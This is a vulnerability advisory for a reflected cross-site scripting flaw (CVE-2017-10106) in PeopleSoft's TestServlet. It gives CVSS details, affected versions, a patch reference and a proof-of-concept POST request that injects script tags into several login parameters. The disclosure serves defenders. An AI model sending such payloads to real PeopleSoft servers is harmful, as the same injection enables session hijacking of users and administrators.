PeopleSoft ToolsRelease 8.55.03 / ToolsReleaseDB 8.55 / HCM 9.2 XSS

PeopleSoft ToolsRelease version 8.55.03, ToolsReleaseDB version 8.55, and HCM version 9.2 suffer from a TestServlet cross site scripting vulnerability.


MD5 | 8a037c93fb00af442cd3d7d4c290d773

1. ADVISORY INFORMATION
Title: Multiple XSS (POST request) Vulnerabilities in TestServlet (PeopleSoft)
Advisory ID: [ERPSCAN-17-037]
Advisory URL: https://erpscan.com/advisories/erpscan-17-037-multiple-xss-vulnerabilities-testservlet-peoplesoft/
Risk: Medium
Date published: 18.07.2017
Vendor contacted: Oracle

2. VULNERABILITY INFORMATION
Class: XSS [CWE-79]
Impact: Modify displayed content from a Web site, steal authentication
information of a user
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-10106

CVSS Information
CVSS Base Score v3: 6.1 / 10
CVSS Base Vector:

AV: Attack Vector (Related exploit range) Network (N)
AC: Attack Complexity (Required attack complexity) Low (L)
PR: Privileges Required (Level of privileges needed to exploit) None (N)
UI: User Interaction (Required user participation) Required (R)
S: Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C: Impact to Confidentiality Low (L)
I: Impact to Integrity Low (L)
A: Impact to Availability None (N)

3. VULNERABILITY DESCRIPTION
An attacker can use a special HTTP request to hijack session data of
administrators or users of the web resource.

4. VULNERABLE PACKAGES
ToolsRelease: 8.55.03
ToolsReleaseDB: 8.55
PeopleSoft HCM 9.2

# Component: com.peoplesoft.pt.portlet.service.test.TestServlet

$ md5sum pspc.war/WEB-INF/classes/com/peoplesoft/pt/portlet/service/test/TestServlet.class
16634cea4be75869127b76cfc627f894
pspc.war/WEB-INF/classes/com/peoplesoft/pt/portlet/service/test/TestServlet.class

5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, implement Oracle CPU July 2017
(http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html)

6. AUTHOR
Dmitri Iudin aka @ret5et

7. TECHNICAL DESCRIPTION
7.1. Proof of Concept
PoC
"""
POST /pspc/test?userID=<script>alert(1)</script>&password=<script>alert(2)</script>&languageCode==<script>alert(5)</script>&siteName=<script>alert(3)</script>&CREFName=<script>alert(4)</script>&portalName=<script>alert(6)</script>&command=login
HTTP/1.1
Host: 172.16.2.230:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0 twitter:@ret5et
Accept-Encoding: gzip, deflate
Content-Length: 0

"""

8. REPORT TIMELINE
reported to the vendor - 2017-01-26
Date published: 18.07.2017


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